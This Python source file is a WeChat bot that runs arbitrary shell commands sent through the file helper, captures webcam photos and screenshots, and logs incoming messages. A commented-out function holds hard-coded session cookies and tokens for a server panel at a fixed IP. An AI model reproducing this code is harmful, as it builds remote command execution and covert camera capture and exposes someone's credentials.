#coding=utf-8
import itchat
import time
import cv2

import PIL.ImageGrab
import os
from PIL import Image

def get_outfile(infile, outfile):
    if outfile:
        return outfile
    dir, suffix = os.path.splitext(infile)
    outfile = '{}-out{}'.format(dir, suffix)
    return outfile
def get_size(file):
    # 获取文件大小:KB
    size = os.path.getsize(file)
    return size / 1024
def compress_image(infile, outfile='', mb=150, step=10, quality=80):
    """不改变图片尺寸压缩到指定大小
    :param infile: 压缩源文件
    :param outfile: 压缩文件保存地址
    :param mb: 压缩目标，KB
    :param step: 每次调整的压缩比率
    :param quality: 初始压缩比率
    :return: 压缩文件地址，压缩文件大小
    """
    o_size = get_size(infile)
    if o_size <= mb:
        return infile
    outfile = get_outfile(infile, outfile)
    while o_size > mb:
        im = Image.open(infile)
        im.save(outfile, quality=quality)
        if quality - step < 0:
            break
        quality -= step
        o_size = get_size(outfile)
    return outfile, get_size(outfile)


sendMsg = u"{消息助手}：暂时无法回复"
usageMsg = u"使用方法：\n1.运行CMD命令：cmd xxx (xxx为命令)\n" \
           u"-例如关机命令:\ncmd shutdown -s -t 0 \n" \
           u"2.获取当前电脑用户：cap\n" \
           u"3.电脑屏幕截图：wincap\n" \
           u"4.启用消息助手(默认关闭)：ast\n" \
           u"4.关闭消息助手：astc"
flag = 0 #消息助手开关
nowTime = time.localtime()
filename = str(nowTime.tm_mday)+str(nowTime.tm_hour)+str(nowTime.tm_min)+str(nowTime.tm_sec)+".txt"
myfile = open(filename, 'w')

@itchat.msg_register('Text')
def text_reply(msg):
    global flag
    message = msg['Text']
    fromName = msg['FromUserName']
    toName = msg['ToUserName']

    if toName == "filehelper":
        if message == "cap":
            cap = cv2.VideoCapture(0)
            ret, img = cap.read()
            cv2.imwrite("weixinTemp.jpg", img)
            itchat.send('@img@%s'%u'weixinTemp.jpg', 'filehelper')
            cap.release()
        if message == "wincap":
            filename = "WindowsCapture.png"
            im=PIL.ImageGrab.grab(all_screens=True)
            im.save(filename)
            compress_image(filename)
            itchat.send('@img@%s'%filename, 'filehelper')
        if message[0:3] == "cmd":
            os.system(message.strip(message[0:4]))
        if message == "ast":
            flag = 1
            itchat.send("消息助手已开启", "filehelper")
        if message == "astc":
            flag = 0
            itchat.send("消息助手已关闭", "filehelper")
    elif flag == 1:
        itchat.send(sendMsg, fromName)
        myfile.write(message)
        myfile.write("\n")
        myfile.flush()


# def sendQRCode():
#     import json
#     import os
#     import requests
#     from requests_toolbelt import MultipartEncoder
#     filename = 'QR.png'
#     fsize = os.path.getsize(filename)
#     m = MultipartEncoder(
#         fields={'f_path': '/home/wechat/', 'f_name': 'QR.png',
#                 'blob': ('filename', open(filename,"rb"), 'text/plain'),
#                 'f_size':str(fsize),
#                 "f_start":str(0)
#                 }
#     )
#     headers={
#         "Cookie": "order=id%20desc; memSize=992; sites_path=/www/wwwroot; serverType=apache; uploadSize=1073741824; backup_path=/www/backup; force=0; pnull=1; softType=5; BT_PANEL_6=e13edde7-ece9-49e5-9ef0-03989a5c5106.2j7AOpeAVc0MajvSxL7lGP-2Z1U; request_token=fqJ0hVBPkb1imRapQvFQ4omfLEwrq8uUDLiiDlyxVycMPytn; rank=a; Path=/home/wechat"
#         ,"Host": "134.175.106.211:8888"
#         ,"Origin": "http://134.175.106.211:8888"
#         ,"Referer": "http://134.175.106.211:8888/files"
#         ,"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
#         ,"x-cookie-token": "fqJ0hVBPkb1imRapQvFQ4omfLEwrq8uUDLiiDlyxVycMPytn"
#         ,"x-http-token": "l2tWl2JwlDGFWaYzmZDIMqOlknAjQ53OaWR4pN9hGvZ26nW3"
#         ,"Content-Type": m.content_type
#     }
#     resp = requests.post("http://134.175.106.211:8888/files?action=upload",headers=headers,data=m)
#     resp = json.loads(resp.text)
#     if resp['status'] == True:
#         print('照片上传云盘成功，通知管理员扫码！')
#         isLoggedIn = False
#         while not isLoggedIn:
#             status = itchat.check_login()
#             print(status)
#             if status == '200':
#                 isLoggedIn = True
#             elif status == '201':
#                 if isLoggedIn is not None:
#                     print('Please press confirm on your phone.')
#                     isLoggedIn = None
#             elif status != '408':
#                 break
#     else:
#         print('照片上传云盘失败，通知管理员！')
#         exit(0)

if __name__ == '__main__':
    # sendQRCode()
    itchat.auto_login(hotReload=True)
    itchat.send(usageMsg, "filehelper")
    itchat.run()



